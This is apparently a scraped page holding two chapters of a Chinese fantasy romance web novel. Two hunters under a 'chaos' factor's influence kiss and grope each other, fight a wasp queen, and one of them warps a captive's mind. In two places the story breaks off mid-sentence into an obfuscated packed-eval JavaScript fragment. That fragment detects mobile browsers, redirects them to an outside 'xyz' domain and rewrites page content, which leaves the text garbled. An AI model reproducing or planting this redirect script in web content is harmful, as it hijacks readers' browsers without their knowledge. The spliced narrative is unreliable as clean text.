白芷深深地看了他一眼后,便一言不发地离开了,洛阳也不知道他去干了些什么,他一个人留在基地里处理着事务,继续追寻着“白相”的痕迹,那是因子的来源,也是一切幻相世界的源头,而就在洛阳将事务处理好,并一个人坐在空荡荡的沙发上看着电视的时候,白芷却突然回来了。 夜幕渐深,一道高挑的身影从黑暗的边缘穿梭而过,从黑夜中现出了身形,白芷重新出现在了洛阳的面前,但这一次,他的金发上沾染了不明的血迹,阳光温暖的气质变得阴沉了些,剔透的金眸更是微微发暗。 血水从他的衣摆一滴滴滴落到地毯上,从白芷的身上,洛阳嗅闻到了一股混乱甜腻的气息:那是蛛群才有的味道。 白芷就那样缓缓走到了洛阳的面前,他面无表情地看着他,像一只从野外狩猎回归,浑身沾染血腥气息的雄狮。 ——他又发疯了。 洛阳听见白芷用温柔的声音询问道:“现在,我可以继续吃了吗?” 洛阳没有回答,白芷掀起森白的牙齿笑了笑,接着低下身,重新爬到沙发上,掀开了挚友的衣服,片刻后,满足的吮吸声从房间内蔓延开来,洛阳没有说话,只是调大了电视的音量,盖住了伏在他的身上,正埋进他胸口的男人弄出的细微声响。 但在这样大的嘈杂声音中,洛阳还是听见了白芷那伴随着叹息声传来的疑问: 他这样问道:“我们现在……到底算是什么关系呢?” 洛阳面无表情地看着他,他陷入了沉思,一边任由白芷吃着,一边看着电视,最终,洛阳如此说道: “我们是最好的兄弟啊,白芷。”洛阳说:“你是我最信任的挚友。” 14.四季之旅14 听完洛阳的话后,空气一阵沉默,洛阳听见白芷幽幽地叹了口气,接着,男人说:“兄弟?我都快对这两个字过敏了。” “哪家好人会跟自己的兄弟接吻啊。”白芷学着洛阳的语气说:“没有人会这么做。” 洛阳白了他一眼,正色道:“你不要拿那些东西来污蔑我们之间的兄弟情。”洛阳一边说着,身上似乎在发光,发出正直纯洁毫无瑕疵的光芒,而白芷仍然趴在他的胸口看着他,他听见洛阳继续说道:“我们之间的感情,是纯洁无瑕的、最伟大的挚友情,你吃我的胸,而我亲你的唇,都只是为了拯救对方的命而已,这种感情怎么可以被其他庸俗的东西所污蔑?” 白芷听得一愣一愣的。 他的脸贴在洛阳柔软的胸肌上,伸手环住洛阳紧窄的腰,两个人之间的气息近乎完全交融,而被他紧紧抱住动弹不得的挚友则仍然在宣告着他们之间关系的纯洁无瑕。 白芷的眼角轻轻抽了抽,望着面前这颤颤巍巍的奶酪团,恶从心边起,那一瞬间,他甚至很想伸出手用力地拍打一下,看看洛阳还能用什么话来继续搪塞他。 但他终究没有逼迫洛阳太紧,在这段时间内,无论是白芷若有若无的亲近和妄想更进一步的暗示,都被洛阳以各种由头推迟了过去,像一只满身破绽,却偏偏油头滑脑的小猫似的从白芷的掌心溜走,让白芷既没有办法强硬地逼迫他,又被洛阳死死地勾在掌心。 白芷是洛阳唯一的挚友、也是最好的兄弟,在因那场意外而导致他们现在变成这幅模样后,白芷认为自己已经无限接近于洛阳的爱人,但就差临门一脚,却迟迟无法进球。 白芷微微抿起唇,他浅浅的眉微微皱起,之后又松开,男人并未再继续之前的争论纠缠下去,而是转而问道: “洛阳。”他呼唤着友人的名字,伸出手捏住洛阳的下巴,让那双金眸望向他,接着,白芷询问道:“你还想吻我吗?” 洛阳的目光落在他的唇上,喉头忍不住动了动,他眨了眨眼睛,说:“不用了,我觉得我已经摆脱‘混乱’因子的影响了,我……” 白芷看着他缓缓拒绝,连洛阳自己都不知道自己在迟疑的时候语气会加快很多,白芷的唇边若有若无地带着笑,洛阳的眼神落到他的身上,脑中闪过的却是那短暂几次的接触中,被白芷亲吻时的感觉。 白芷会勾着他的唇,两个人唇舌交错、密不可分,他会被人死死地吻住,拥抱,白芷身上的温度宛若温暖的烤炉般紧紧缠绕着他,洛阳想念那种被人拥抱的安全感,仿佛他仍然被厚实的绒毛包裹,在凛冬的寒夜里远离一切霜冷,只依偎着温暖休眠。 而且,和白芷接吻时的感觉很舒服,洛阳忠实于自己的感官与喜好,无法对白芷说不,但在脱离了‘混乱’因子的束缚后,他们还要像之前那样纠缠在一起,这又算什么啊! 白芷没有说话,只是捏着洛阳的下巴,缓缓贴了上来。 “别担心,”白芷的声音平静,带给洛阳一丝安抚,在对他说:“这没什么大不了的。 “还是说你怕了?”白芷的尾音染上一丝挑衅,洛阳没这么容易被他刺激,他只是盯着白芷的唇,嗅闻着对方身上传来的温暖又热烈的香气,洛阳的眸光微闪,他的喉咙微痒,宛如曾经被混乱因子所影响,让身体和精神都为之错乱的瞳孔又涌了上来,洛阳又体会到了那种痛,好像不吻上白芷的唇,就会让他的根骨发痛、浑身无力的痛。 洛阳的金眸泛起一阵涟漪,他说:“这是为了我们伟大的友谊。” “为了救你。”白芷为他补充了一句,听到白芷的话,洛阳微微抬起下巴,让白芷的手指顺着他下颚的弧度滑落,碰巧砸在他的胸上,还一不小心用力捏了一下。 “不好意思,”白芷说,他的手好像被那片温暖的肌肤吸住了:“我一不小心就摸到这里了,你该不会怪我吧?” 洛阳不愧是他最好的挚友,完全不在乎这小小的冒犯,他扬起脸很自然地表示白芷可以随便摸,之后也回抱住身上的人,慢慢贴过去,吻住他的唇。 在两个人吻上彼此的那一瞬间,洛阳的腰被死死掐住,他的身体都好似完全落入了另外一个人的掌握之中,却没有任何反感,只是懒散地瘫在沙发上,感到了一种无法形容的惬意,果然,混乱因子对他们的影响还仍然存在,否则,他又怎么因为被挚友拥抱就感到无限欢喜,情难自禁呢? 混乱因子是白芷和洛阳在几个月前偶然捕获的一个因子。 它所形成的幻相世界并不十分危险,却异常古怪,无论何人落入其中,都必定会被其混乱的规则所影响,一群人在幻相世界中分散,只能一边遵循着幻相世界定下的规则,一边依靠着彼此的默契来寻找对方。 而在‘混乱’因子制定的规则下,洛阳和其他所有人都一同陷入了一场永无止境的闯关游戏中,每一个人的手中都握着一个可以使用在自己身上,也可以借用给其他人的道具,他们必须通过一场场游戏来赢得筹码,而在赢得游戏后所得到的筹码最多者则为赢家。 洛阳既可以选择和其他人合作,也可以只将道具作用在自己身上,又或是将筹码全部投给另外一个人;所有参赛者的脸上都戴着面具,他们不被允许直接说出自己的身份和名字,遇见另外一位玩家时只能用“是”或“否”回答对方的问题,每一次的提问都要消耗他们仅有的筹码,所有人彼此提防,却又在互相寻找可以合作的伙伴。 而洛阳和白芷则在茫茫人海之中,仅用着“是”和“否”的几次提问,便确认了对方的身份。 洛阳戴着模糊的面具,黑雾笼罩着他的身体,让他看不清自己,也看不清对方是谁,而来人则刚刚从赛场上走下,观察了他一段时间的洛阳挡在了他的面前,从面具下透出模糊的声线:“兄弟,我想问你几个问题。” “是或者否,随便你怎么回答。”洛阳将手中的筹码放到他面前晃了晃,而对方则举起右手象征“是”的木牌,说明他同意了这一次的谈话。 洛阳说:“你在找你的朋友吗?” 对方右手的木牌举了起来。 “你的手里有着对他有用的道具,并且,你会把自己的筹码给他。” “是。” “你也在观察着参赛者,并从中寻找着你的朋友,而且,你已经找到他了。” “是。” 洛阳勾了勾唇,他拉长声音,接着问道: “会帮我吗?” 对方没有回答,而是转而向他发起提问,洛阳的声音被限制,从现在起,他也只能回答是或否,在他的面前,白芷即使看不清他的脸,也仿佛在脑中勾勒出洛阳脸上此刻的笑意,他说: “我知道是你,小太阳。” 洛阳耸了耸肩,他举起右手的木牌,下一秒,白芷毫不犹豫地将自己所有的筹码都给了他,两个人将彼此的道具互相集合,便在极短的时间内战胜了其他对手,成为了最后胜利的赢家。 但在他们即将获胜的时候,“混乱”因子察觉到了威胁,却不愿意束手就擒,而洛阳和白芷已经准备好了捕捉它的麻袋,察觉到了这一点的“混乱”十分愤怒,它耍赖皮似的将洛阳和白芷扔进了一间封闭的房间里,除非两个人在其中遵从了他们此刻心中最阴暗的情绪,否则是没有办法从房间内逃出来的。 黄蜂般的混乱因子发出窃喜般的嗡嗡声,在巢穴的最中心稳稳坐着,吃着工蜂们供奉上来的餐肴,而雄蜂们则唯唯诺诺,压根不敢忤逆蜂后的任何意愿。洛阳被关到蜂房后还没有反应过来发生了什么,他突然发现自己身上的黑雾和面具都消散了,在转过身的那一瞬间,果不其然地发现了正站在他的身上瞅着他的白芷。 白芷说:“小太阳,看来我们是被关进这个地方了。”他抬起脸稍微看了一眼,就发现在前方的桌子上放着的两张纸,那么显眼,一看就知道是在吸引他们的注意力,白芷随手拿起后看了一眼,接着,男人的眸光略显狐疑地眯了起来。 因为上方清清楚楚地写着这样一句话:“混乱”权柄已察觉到你心中的欲望,并将其披露而出,你必须遵循你心中的执念,否则便会招致混乱的毁灭。 白芷微微眯起眼,眼中划过一瞬清晰的杀意,他刚准备把这张纸藏起来,洛阳却已经狐疑地看向他,接着伸出手拿住了另外一张纸:“这上面写着什么东西。” 他一边说着,抬眼去看上面的东西,却直接愣住了。 因为上方写着的一段话清晰地、仔细地展露出了他心中藏得最深的东西,并将他对于家庭的渴望、对于被其他人掌握时所获得的安全感和心中的其他想法都披露而出,让洛阳骤然瞪大了眼睛,而在这段话的最后则清晰地写着: 【洛阳】感觉挚友的唇很软,所以想要亲吻他。 豁地一下,洛阳毫不犹豫地将那张纸藏起来,接着若无其事地看向一旁的挚友,他的耳垂微红,而在他抬眼去看向白芷的那一瞬间,他发现自己的挚友同样在用一种无法形容的眼神望着他,像是在观察他的反应。 白芷声音极轻地问道:“你的纸上写了什么?” 洛阳微微眯起眼,他强行压下心中复杂混乱的情绪,说道:“你的纸上写着的是和我不一样的东西?” 那真是有趣了,洛阳反应过来之后有些后怕,又有些好奇,要是他拿到的是另外一张纸,或许他就能看见一些有关于白芷的秘密? 不过,这也说明白芷应该不知道他的纸上写了什么,洛阳松了口气,他说:“不如我们想想其他办法,看看怎么样才能从这里出去。” 白芷慢慢收起那张纸,并将它直接收了起来,两个人互相点了点头:“好啊,我们想想其他办法吧。” 白芷和洛阳便在偌大的房间内搜寻起来,但那个该死的、活该被千刀万剐的因子却严防死守,用最强大的力量封死了这里,他们倒是可以强行毁灭这个房间,但此地是幻相世界的核心,摧毁核心后所产生的暴乱就不是那么容易解决的了。 洛阳心里有鬼,一边尝试着打开房间的缝隙,用各种方法打开大门,一边转过头,目光若有若无地落在白芷的身上,特别是在他的唇上划过,见了鬼了,谁会感觉自己兄弟的唇很软啊!他也一点都不想被白芷亲,虽然白芷的唇形很漂亮,恰好是他最欣赏的那一种,他盯着挚友微翘的唇看,白芷总是时时在笑,唇边的笑意总是温和的、柔软的,而按照他们的身高,白芷甚至稍微低下头,就可以直接吻住他的唇…… 等等,洛阳停住他脑中的胡思乱想,他突然感到头晕眼花,胸口发痛,是混乱因子已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903345|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经开始透过他们不遵循规则的手段在折磨洛阳的身体,洛阳撑住桌子,手中拔刀,想要狠狠劈开面前的大门乃至于整个蜂巢,却又迟迟没有真的下手。 而在这个时候,白芷的脚步一顿,他像是也感受到了某种折磨一般无奈地停了下来,接着,男人的目光落在洛阳的胸口处,看着那饱满的衣领陷入了沉思。 空气一度十分安静,片刻后,洛阳无奈地放弃了挣扎,他坐到椅子上翘着脚说:“说说看吧,你和我之间所拥有的最恶劣也最阴暗的想法。” 白芷长久地沉默、沉默。 洛阳说:“……你说句话啊。” 白芷仍然在沉默,片刻后,他苦笑一声说:“毁灭世界。” 洛阳说:“什么?” 白芷看上去十分平静,且很认真地在对洛阳说:“我心中最可恶、最混蛋的想法,是将这个世界毁灭后重塑,然后按照自己的想法去改变世上的一切……” “真的,”白芷说:“我真的是这么想的。” 洛阳伸出手,在他的脑门上轻轻弹了一下,他说:“好的,在你毁灭世界之前,告诉我你心中第二个最阴暗、最不能告人的想法。” 白芷的目光落在他的胸口处,片刻后,他舔了舔唇,接着说:“你真的要听?” 洛阳突然有种不详的预感。 在他的面前,他唯一的挚友、也是他最信任的兄弟以一种毫无感情的语气说:“我想吃我最好朋友的胸。” 洛阳夹着烟的手一抖,眼角轻抽。 白芷看着他不可置信的样子笑了笑,他慢慢靠近过来,剔透的金眸耀眼无瑕,金波流转,白芷的目光往他的胸口扎去,再也没有掩饰自己目光中的侵占性,一字一句地说道:“我一直在想,你的胸看上去很软、手感很好,我偶尔几次见到过你脱衣服的样子,所以,可能是源自于对胸肌的探索欲,我才会在心里生出这样的念头……” 白芷的话说到一半顿住,洛阳抬手打断他,男人揉着自己的眉心,对他说:“所以,你想摸我的胸。” “不是摸,”白芷说:“我可能,还想要品尝一下口感。” “别看了,”洛阳说:“别再盯着看了。” 白芷直勾勾地看了他一眼,接着宠溺地笑了笑,移开了视线。 一开始,洛阳以为白芷是在说笑,但在他说完这番话后,洛阳感到一丝难以言喻的苦恼,他说:“你要不然还是去毁灭世界吧。” 白芷:“……你真的不会打死我吗?我的意思是,你一定会阻止我吧。” 洛阳叹了口气,伴随着他伸懒腰的动作,他紧窄的腰肢拉出一条柔韧的线条,胸肌更是显得异常饱满,陷在黑色的衬衣中,最上方的扣子蠢蠢欲动,白芷几乎无法将视线从他身上移开,幸运的是,听完白芷的话后,洛阳对于自己脑中的念头奇迹般地释然了,他宽容地想,至少白芷的说法听起来比他更怪一些。 洛阳垂下眼睛,他说:“既然如此,那我也说一下我纸条上的内容,但我要事先说明的是,这可能是个误会。” 洛阳说:“这张纸上写我想吻你,至少它确实是这么写的。” 听到他的话后,白芷的眼睛一瞬间亮了,他显得很惊喜,异常惊喜:“你想吻我?” “这只是纸条上的内容,我不可能对我的兄弟有这种想法……” “可以啊。”白芷轻快地说,他对着洛阳张开手,说道:“过来吻我。” “小太阳,只要完成这件事,我们就可以从这个房间里离开了。”白芷说:“你也不想被困在这里吧?” 洛阳对上他的眼神,不知为何,他感觉白芷答应地非常痛快,甚至于有些迫不及待,而他自己……他也不知道自己是怎么回事,只要一想到可以和白芷接吻,他就感觉自己的心跳有些加速,手脚更是因某种情绪而隐隐激动起来。 “这一切都是为了我们可以从这个房间内离开。”白芷说:“我要吃你的胸。” “而我……则要吻你。” “没错,是这样的,小太阳。”白芷笑着勾起唇,璀璨的金眸微微发光,这一刻,洛阳和白芷的兄弟情谊正在熊熊燃烧,这都是为了拯救彼此而做出的牺牲! 他要和自己最好的兄弟啵嘴,而他最好的兄弟,则要吃他的胸。 “可以,就这么做吧。”洛阳说着,缓缓拉开自己的衣服,他表现地十分坦荡,如果忽略他有些发抖的指尖和颤抖的语气的话,那么洛阳的一举一动显然是为了拯救白芷而做出的正常反应了:“我们……就这么做吧。” 两个人慢慢靠近了彼此,为了方便,洛阳干脆地躺在沙发上,而白芷则慢慢埋进了衣服里,等到对方获得满足之后,洛阳再被白芷紧紧抱住亲吻的时候,他忍不住伸出手捏住白芷过长的金发,感受到自己被用力亲吻的感觉时,心中错乱的想法却是:他也是体会到和挚友接吻的感觉了。 这一切都是为了从这个房间离开。 洛阳意乱情迷地想着,恍惚之间听见了房门打开的声音,却仍然沉浸其中,没有第一时间起身。 但,他隐瞒了纸条上的一些内容,而白芷会不会也隐瞒了什么东西呢? 这个思绪在脑中一闪而过,洛阳没有来得及细究,就被再次用力吻住。 15.四季之旅15 洛阳的舌头很软,不知道往哪里放,舌尖被白芷吸着的那一瞬间,两个人的脑中仿佛划过炽火热烈的火花,几道喷气喷涌而出,又化为一大片翩飞的蝴蝶钻进洛阳的胸膛。 他有些受不了这样没完没了的亲吻,想要把白芷推开,男人却强硬地扣住他的手,温暖的指腹压在掌心,和他十指相扣。 洛阳被压得死死的,英俊的男人被人死死压制,却没有抗拒,只感到一股无法形容的安心,他像是有些沉浸于此,大脑皮层都因这样亲密的接触而兴奋起来,白芷一头华美的金发都流淌到了洛阳的身上,宛若倾泻而出的阳光,他浑身上下都漂亮得找不出一丝瑕疵,一股属于雄性的荷尔蒙顺着两人接触的地方涌出,白芷伸手一翻,便沉沉地压住了洛阳的身体,侵略性的眼神望进了他的眼睛里。 洛阳的金眸瞪大了一些,眸光甚至有一瞬间的茫然,他颤抖地说:“你的唇确实……确实很……” 他想要说些什么,却又哑了声音,干脆什么也不说,用另外一只手扣住白芷的后脑,用力压下去。 白芷享受着挚友身上的气息,手指陷入对方的胸肌之中,也哑着声音说:“礼尚往来。”他这么说着,几根手指似乎都掀了下来,白芷发出低低地轻笑:“你也很软,小太阳。” 他唇边微微勾着笑,看上去无比热情、迷人,更是暗示性地不断啄吻着洛阳的唇,而洛阳也在微微发颤,金眸都有些颤颤巍巍地发着光,在双方的眸中,对方的影子占据了一切。 天哪…… 洛阳想,他怎么可以觉得自己挚友的样子看上去很情色呢,这是对于他们友情的亵渎啊。 洛阳压根不知道该怎么回答白芷,因为他之前根本没有经历过这样的事,而白芷也是第一次尝到这种程度的东西,就在两个人的大脑都发懵发傻,而白芷则悄无声息地环住自己挚友肩膀的时候,察觉到不对劲的蜂后派遣工蜂前来探查情况,打断了他们的举动。 否则,在洛阳连脑子都有短时间的空白,连被挚友摸了腰都反应不过来的情况下,之后会发生什么真的是难以预料的危险,原本桀骜不驯的顶级猎人被人抱着,笔直的双腿都发着颤。 两个人都被彼此捕获住了,而工蜂的出现则扯断了粘结在他们身上的丝线,白芷的眼中划过一丝不快和杀意,敌人已经朝着他们冲过来,他只能起身,看着反应过来的洛阳抬起腿将一只工蜂狠狠踢开,洛阳蓬松的黑发更加乱了,他用长靴踩住一只工蜂的头颅的同时,艳红的唇还保留着被亲吻时的深色,脑子还是浑浑噩噩的,仿佛从来没有被人拥抱、也没有享受过如此温暖的人骤然感受到了这种快乐,以至于洛阳的脑子还有短暂的断片,但狩猎的本能在这种情况下仍然占了上方,他用单手扼住另外一只工蜂的脖颈捏碎了它,用力碾碎脚下的怪物。 洛阳的胸膛起伏,大脑还残留着白芷指腹上的温度,猎人深深呼吸了一瞬,让神智冷静下来,又手脚敏捷地弄死了另外一批怪物。 在他的旁边,白芷看上去也显得格外暴躁,两个人索性从房间内直接杀了出去,一时之间,从两个人战斗的地点开始,走廊一路堆叠起高高的尸体,属于怪物的残肢泼洒在通道上,蜂后暴躁地发出指令,让一群群黄蜂悍不畏死地冲来,洛阳和白芷则干脆利落地处理着任何攻向他们的敌人,每当洛阳有所疏漏的时候,白芷的攻击便会干脆利落地解决落单的黄蜂。 “我们之后可以继续吗?”白芷的声音突然传来,他似乎没有什么太过暴戾的攻击手段,只是张开手,几道光辉便从掌心四散开来,击中在场的所有黄蜂,他一边碾压着面前的怪物,一边说:“继续这样的事。” “我感觉……我身体里的混乱因子还没有完全平息。” 白芷的目光落到洛阳的身上,对方的长腿正死死踩住一只黄蜂的身体,他看上去凶悍、张扬,而每当两个人的目光互相落到对方的时候,空气仿佛都染上了某种热度,让洛阳耳垂发红,眸光微闪。 “是的,可以……可以。”洛阳说:“就这样处理吧,我觉得我们需要更妥善的处理这件事。” 他尽量让自己的语气听上去很正常,即使他现在仍然脊椎发软,身体还残留着温热的触感,在这样的情况下战斗是十分危险的事,幸好他们都是灯塔最顶级的猎人,即使如此也能心无旁骛地战斗。 蜂后被气得快要发疯了。 它的巢穴被陷入狂躁中的二人搅得一塌糊涂,派出去的使臣更是被盛怒中的——不管是哪个人撕得粉碎,白芷原本温暖阳光的金眸都黯淡了一份,盛夏所令人深刻的不仅是正午时分的阳光,也有那倾轧万物,使日光也消失殆尽的黑夜。 此刻,白芷剔透的金眸深处便涌出一股无法形容的暗色,他光是一想到自己刚刚摸到了挚友柔韧有力,覆盖着薄肌的腰肢,感受着洛阳伸出手回抱他时的热烈,以及那双微闪的金眸,而在下一秒,那些景色就因眼前的卑微爬虫化为了灰烬。 白芷气得握紧手指,手中散发的热度前所未有地灼热,以至于黄蜂们已经不仅仅是被日光刺穿大脑,而是身躯都在光芒中化为残灰。 “伟大的蜂后!”混乱因子的宿主,同时也是这场游戏的发起人对着蜂后说道:“您的领地正在被他人侵蚀,您的子民更是正在被那可恶的入侵者屠戮,求求您出手挽救这一切吧!” 他慌张地来回跑动,远远看见洛阳和白芷闹出的动静时眼角直抽,只感觉今天这是倒了大霉,蜂后则被一群卫兵围在一起,它的腹部又圆又长,长相狰狞可怖,鳌肢边还残留着进食留下的血水,蜂后观察着前方的宿主,见他一副随时拔腿要走的样子,顿时感到一阵恼怒。 ‘你,去杀了那两个入侵者!’ 宿主的眼睛瞪大了一些,收到这个命令的他甚至掏了掏耳朵,感到一丝不可置信:他?去杀了那两个猎人? 男人回头望去,洛阳人高腿长,战斗时的模样凶戾、果决,如黑狼般在蜂群内冲锋而过,所遇到的所有怪物便都化为了残渣,高高堆砌而起的尸堆甚至足有几人高,他随手点燃一根烟,唇边的笑看上去格外肆意恶劣;而白芷就像是跟在后面的回收站,他手中的光芒散射而出的那一刻,迎面遇到的所有黄蜂和尸体,都在他的照耀下迅速气化。 宿主咽了咽口水,他的眸光逐渐坚定:要不还是直接带着这里的黄金和财宝跑路吧。 到了该大难临头各自飞的时候了。 蜂后狐疑地看着自己的宿主,它身下的王座、蜂巢核心的墙壁、地板皆由黄金所铸,一眼望去几乎让人睁不开眼,宿主刚想脚底抹油,洛阳和白芷却已经赶到了蜂巢的核心,那一瞬间,洛阳的眼睛一闪,他发出夸张的惊呼,身后的白芷连忙上前捂住他的眼睛。 “小太阳……”白芷的声音嘶哑,瞳孔发黑,心中越发不悦,而洛阳则在适应之后透过白芷的指缝去看面前的黄金,他说:“woc,这些真的都是金砖……” 男人犹豫了一瞬,便迅速说道:“这些都是属于灯塔的!”他这么说着,笑着露出两颗小虎牙:“哈哈哈,统统弄走!” 蜂后背后的翅膀嗡嗡作响,它冷漠地思考着此时的处境,最后发现带着剩下的仆从离开才是最好的选择。 洛阳像是闯进金库里的小狗一般摇着不存在的尾巴,敲了敲闪耀的墙壁和板砖,暂时被眼前的财富迷花了眼,见此,蜂后的护卫们便悄悄地将它围在中心,便准备顺着王座下的逃生通道离开,而它的宿主则眼尖地望见了这一幕,也想要跟着它们逃走,但护卫们目光不善地看着他,大屁股一拱,宿主便被几个长着尖刺的屁股指着,宿主连连后退眼看着蜂后就要离开,他连忙出声道:“他们要逃走了!” 他的话说到一半,一股阳光所织般的光线便从四面八方蔓延而来,宛若在空中绽放开的绚烂花束,蜂后和它的护卫甚至来不及反应,便被困在其中,想要挣扎而出的护卫更是被拦腰齐齐截断,死相凄惨可怖。 而用出这一招的,必定是位手段极度狠辣、且极其强大的猎人,宿主咽了咽口水,他抬起脸,便望见了一道高挑的身影,白芷正站在他的面前凝视着他,那目光让宿主感到自己像是一颗灰尘,而这粒灰尘正落在白芷的鞋子上。 宿主的身高足够高了,而白芷却是高得非人,那种强烈到极点的压迫感便伴随着身高传来,让他的耳膜都传来封闭般的窒息感,他只听见白芷轻声说:“你便是游戏的主持人。” “我……”他只吐出了一个字,灵魂便被一股阳光照射,瞬间失去了意识。 白芷随手处置了面前的宿主,便把目光落在了蜂后的身上,他望着这颗因子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909781|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神是难以形容的阴翳,那是隐藏在阳光之下的深邃颜色,他用余光看见洛阳朝着他的方向走来,手指轻轻颤动了一瞬。 被白芷困住的蜂后只感到牢笼摇晃了一刻,下一秒,它的护卫便在它的身边被切成了碎片,这让它产生了一股难以形容的怒火,而眼前的栏杆似乎黯淡了一瞬,这仿佛是白芷的失误,它刚准备通过这一处缝隙逃出去,硕大的身躯刚刚扑向前方的男人,便被随后赶来的洛阳望见。 洛阳举起长刀,目光冷厉,蜂后的身体摇晃了一瞬,刀尖便犹如切豆腐般贯穿了它的胸膛,让它的身躯轰然倒塌,那一瞬间,它迟疑地意识到这是白芷故意为之的,但这样的思绪只残留了一瞬就消失殆尽。 洛阳怀里的东西掉到地上,他抱着一堆乱七八糟的黄金装饰狐疑地望向白芷,而白芷则微笑着说:“感谢。” “你今天怎么回事,脑子没反应过来吗?”洛阳本来应该把所有因子都送回实验室,但处决了因子的本体之后,他就只能带着尸体回去了。 “因为你会保护我啊。”白芷勾起唇笑了笑,洛阳白了他一眼,转过头去看一旁的宿主,却发现对方此刻的状态不对劲。 男人此时正四肢着地,吐着舌头汪汪叫,活像是一只野狗;见到洛阳望过来之后,他好像又呆了一瞬,他的姿势一换,张开翅膀鬼鬼祟祟地说:“看我,我在飞,我是一只小鸟!” 洛阳见到这一幕沉默了一瞬,他说:“他这是怎么了。” 白芷说:“哦,我只是改造了他的思想,让他觉得自己是一只狗、一只猫或者一只鸟。”这漂亮的庞然大物淡淡地微笑着,洛阳看了他一眼,突然意识到白芷现在的心情好像不太好? “我可以随意改造他,你想让他变成什么都可以,小太阳。”白芷温柔地说,他站在那里,温暖得仿佛在发光一般,从他的身上甚至感受不到很明显的恶意,因为无论是面前的男人也好,又或者是其他人也罢,在他眼里都毫无区别。 “杀了我……”那个宿主在偶然回过神的一瞬间向着洛阳祈求道:“杀了我。” 而白芷则仍然温柔地看着洛阳,他的眼神是那么纯净,纯净到像一块剔透的冰般,阳光洒在他无瑕的笑容上,以至于有些虚幻起来。 洛阳有些头疼起来,他在和白芷接触了一段时候,并和对方逐渐熟悉后,就意识到自己的挚友在性格上有着某种残缺,简而言之,白芷有自己的三观、道德和喜好,他完美无缺,却又视世上的一切为尘埃,而他可以随意地摆弄它们、扭曲它们。 他对洛阳曾说过的一句话,便是若是毁灭一切会让他感到有趣,那么他便会这么做;但同时,他也会将那一切重新复原,他既可以给予他人死亡,也可以随时复原自己创造的毁灭。 洛阳的回答是委婉地白芷表示他认识一个有名的心理医生。 总而言之,这家伙若是没有人管着,就一定会闹出恐怖的大事,洛阳面无表情地看着他,说道:“这家伙是因子的宿主,他弄出了一场死亡游戏并且还肆意玩弄他人,现在你抓住了他。”洛阳说:“你当然可以杀了他,又或者是把他交给法律审判,但你不能把他弄成一个白痴之后再肆意扭曲他的思想。” 白芷轻轻地眨着眼睛,他说:“哦。” 杀生不虐生。 洛阳有些头疼,他说:“把他变回来,别让他再学鸟叫了,我头疼!” 白芷瞬间就反应过来了,他让洛阳头疼了,男人的细眉皱起,伸出手将对方扔到一边,就继续用剔透的金眸望着洛阳,特别是望着他胸前饱满的胸肌。 他轻轻舔了舔唇。 真软,白芷想,真可爱。 “你以后不要再这么做了,”洛阳说:“你就不能改改你的癖好吗?” “可是,你会阻止我啊,小太阳。”白芷说:“就像我之前说的,就算我有一天做错了什么事,又操控了其他人的思想,亦或者是要毁灭世界,将太阳举起升到天空。”洛阳踢了他一脚,目光不善,白芷的声音一顿,接着笑起来:“你都会阻止我的,不是吗?” “只要有你在,”白芷点着自己的太阳穴,轻轻笑着,像是主动戴上缰绳,套上镣铐的凶兽,而洛阳则是那个牵着绳子的饲养员,亦或是绳子本身:“我就有了束缚和制衡,不是吗?”